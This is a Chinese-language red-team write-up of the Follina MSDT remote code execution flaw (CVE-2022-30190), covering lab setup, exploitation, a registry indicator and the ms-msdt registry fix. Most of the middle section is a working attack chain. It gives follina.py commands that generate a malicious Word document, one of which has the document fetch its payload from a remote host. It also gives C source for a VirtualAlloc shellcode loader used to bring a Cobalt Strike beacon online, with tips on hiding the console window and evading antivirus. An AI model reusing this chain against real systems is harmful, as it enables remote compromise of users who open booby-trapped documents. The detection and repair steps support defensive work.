Windows支持診斷工具(MSDT)遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2022-30190)分析復(fù)現(xiàn)/修復(fù)
前言
Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability對(duì)應(yīng)的cve編號(hào)為CVE-2022-30190,其能夠在非管理員權(quán)限、禁用宏且在windows defender開(kāi)啟的情況下繞過(guò)防護(hù),達(dá)到上線的效果。
當(dāng)從Word等應(yīng)用程序使用 URL 協(xié)議調(diào)用 MSDT 時(shí)存在遠(yuǎn)程執(zhí)行代碼漏洞,攻擊者通過(guò)制作惡意的Office文檔,誘導(dǎo)用戶(hù)在受影響的系統(tǒng)上打開(kāi)惡意文檔后,在宏被禁用的情況下,仍可通過(guò) ms-msdt URI執(zhí)行任意PowerShell代碼,當(dāng)惡意文件保存為RTF格式時(shí),無(wú)需受害者打開(kāi)文件,即可通過(guò)資源管理器中的預(yù)覽窗格在目標(biāo)系統(tǒng)上執(zhí)行任意代碼。
微軟官方通報(bào)該漏洞后,紅隊(duì)藍(lán)軍團(tuán)隊(duì)第一時(shí)間對(duì)其進(jìn)行分析復(fù)現(xiàn)。
適用版本
在這里筆者只測(cè)試了如下版本,對(duì)于Office的 Insider 和 Current 和版本無(wú)法進(jìn)行利用
Microsoft Office LTSC 專(zhuān)業(yè)增強(qiáng)版 2021
Office 2013
Office 2016
環(huán)境搭建
這里筆者使用Office Tool Plus進(jìn)行office的安裝(記得打一下廣告費(fèi)),官網(wǎng)如下
https://otp.landian.vip/zh-cn/

github鏈接如下
https://github.com/YerongAI/Office-Tool/releases/tag/v8.3.10.7
這里我安裝Microsoft Office LTSC 專(zhuān)業(yè)增強(qiáng)版 2021版本

筆者下載的版本為2108

漏洞復(fù)現(xiàn)
彈計(jì)算器
我們找到poc,鏈接如下
https://github.com/chvancooten/follina.py
我們可以看到作者給出了以下幾種用法

#?Execute?a?local?binary
python?.\follina.py?-m?binary?-b?\windows\system32\calc.exe
#?Execute?a?binary?from?a?file?share?(can?be?used?to?farm?hashes???)
python?.\follina.py?-m?binary?-b?\\localhost\c$\windows\system32\calc.exe
#?Execute?an?arbitrary?powershell?command
python?.\follina.py?-m?command?-c?"Start-Process?c:\windows\system32\cmd.exe?-WindowStyle?hidden?-ArgumentList?'/c?echo?owned?>?c:\users\public\owned.txt'"
#?Run?the?web?server?on?the?default?interface?(all?interfaces,?0.0.0.0),?but?tell?the?malicious?document?to?retrieve?it?at?http://1.2.3.4/exploit.html
python?.\follina.py?-m?binary?-b?\windows\system32\calc.exe?-u?1.2.3.4
#?Only?run?the?webserver?on?localhost,?on?port?8080?instead?of?80
python?.\follina.py?-m?binary?-b?\windows\system32\calc.exe?-H?127.0.0.1?-P?8080
這里我們首先使用最后一種,彈一下計(jì)算器,使用如下payload生成一下
python?follina.py?-m?binary?-b?\windows\system32\calc.exe?-H?0.0.0.0?-P?8080

然后這里直接點(diǎn)擊clickme.docx即可

效果如下,這里會(huì)彈出一個(gè)程序兼容性疑難解答,這里不用管

上線cs
我們首先嘗試直接使用exe上線,首先cs生成一個(gè)不經(jīng)過(guò)任何處理的馬

這里使用之前的payload進(jìn)行嘗試,把文件放到windows\system32下
python?follina.py?-m?binary?-b?\windows\system32\artifact.exe?-H?0.0.0.0?-P?8080


還是點(diǎn)擊clickme.docx,但是沒(méi)有上線

但是這里沒(méi)有上線,這里筆者進(jìn)行問(wèn)題的排查,換一個(gè)也在system32下的mmc.exe,這里是可以成功打開(kāi)的

那么這個(gè)payload肯定是沒(méi)有問(wèn)題的,那么問(wèn)題就出在我們上線cs的exe上,這里筆者嘗試使用x86的payload、使用powershell加載都以失敗告終,最后找到了解決方法,使用cs生成的shellcode自己通過(guò)VirtualAlloc申請(qǐng)內(nèi)存并編譯即可上線


然后編寫(xiě)代碼實(shí)現(xiàn)將shellcode加載到內(nèi)存空間,這里就用最簡(jiǎn)單的VirtualAlloc申請(qǐng)空間然后用指針指向申請(qǐng)的空間,這里shellcode加解密去繞AV師傅們可自行拓展,實(shí)現(xiàn)代碼如下(shellcode填充到buf[]數(shù)組即可)
#include?
#include?
/*?length:?833?bytes?*/
unsigned?char?buf[]?=?"";
void?shellcode()
{
?PVOID?p?=?NULL;
?p?=?VirtualAlloc(NULL,?sizeof(buf),?MEM_COMMIT,?PAGE_EXECUTE_READWRITE);
?if?(p?==?NULL)
??printf("VirtualAlloc?error?:?%d\n",?GetLastError());
?else
??printf("VirtualAlloc?successfully?,?address?:?%x\n",?p);
?if?(!memcpy(p,?buf,?sizeof(buf)))
??printf("Write?shellcode?failed\n");
?else
??printf("Write?shellcode?successfully\n");
?((void(*)())p)();
}
int?main(int?argc,?char**?argv)
{
????shellcode();
????getchar();
?return?0;
}
編譯生成MyVirtualAlloc.exe

然后使用exp進(jìn)行攻擊,這里筆者測(cè)試了使用遠(yuǎn)程加載還是不能上線
python?follina.py?-m?binary?-b?F:\C++\MyVirtualAlloc\x64\Release\MyVirtualAlloc.exe?-H?0.0.0.0?-P?8080


使用-c命令直接啟動(dòng)exe上線成功
python?follina.py?-m?command?-c?"Start-Process?F:\C++\MyVirtualAlloc\x64\Release\MyVirtualAlloc.exe"


這里為了更加隱蔽直接去掉黑框

改變?nèi)肟邳c(diǎn)為mainCRTStartup

點(diǎn)擊clickme.docx上線成功

利用排查
若利用過(guò)漏洞則在以下路徑會(huì)留有注冊(cè)表
HKEY_USERS\$USER_SID\SOFTWARE\Microsoft\Office\$OFFICE_VERSION\Common\Internet\Server?Cache

修復(fù)
禁用MSDT URL協(xié)議
1、以管理員身份運(yùn)行命令提示符
2、備份注冊(cè)表項(xiàng)后,執(zhí)行命令:reg export HKEY_CLASSES_ROOT\ms-msdt filename
3、再執(zhí)行命令:reg delete HKEY_CLASSES_ROOT\ms-msdt /f
若需要撤銷(xiāo)禁用則用管理員身份打開(kāi)cmd執(zhí)行:reg import filename
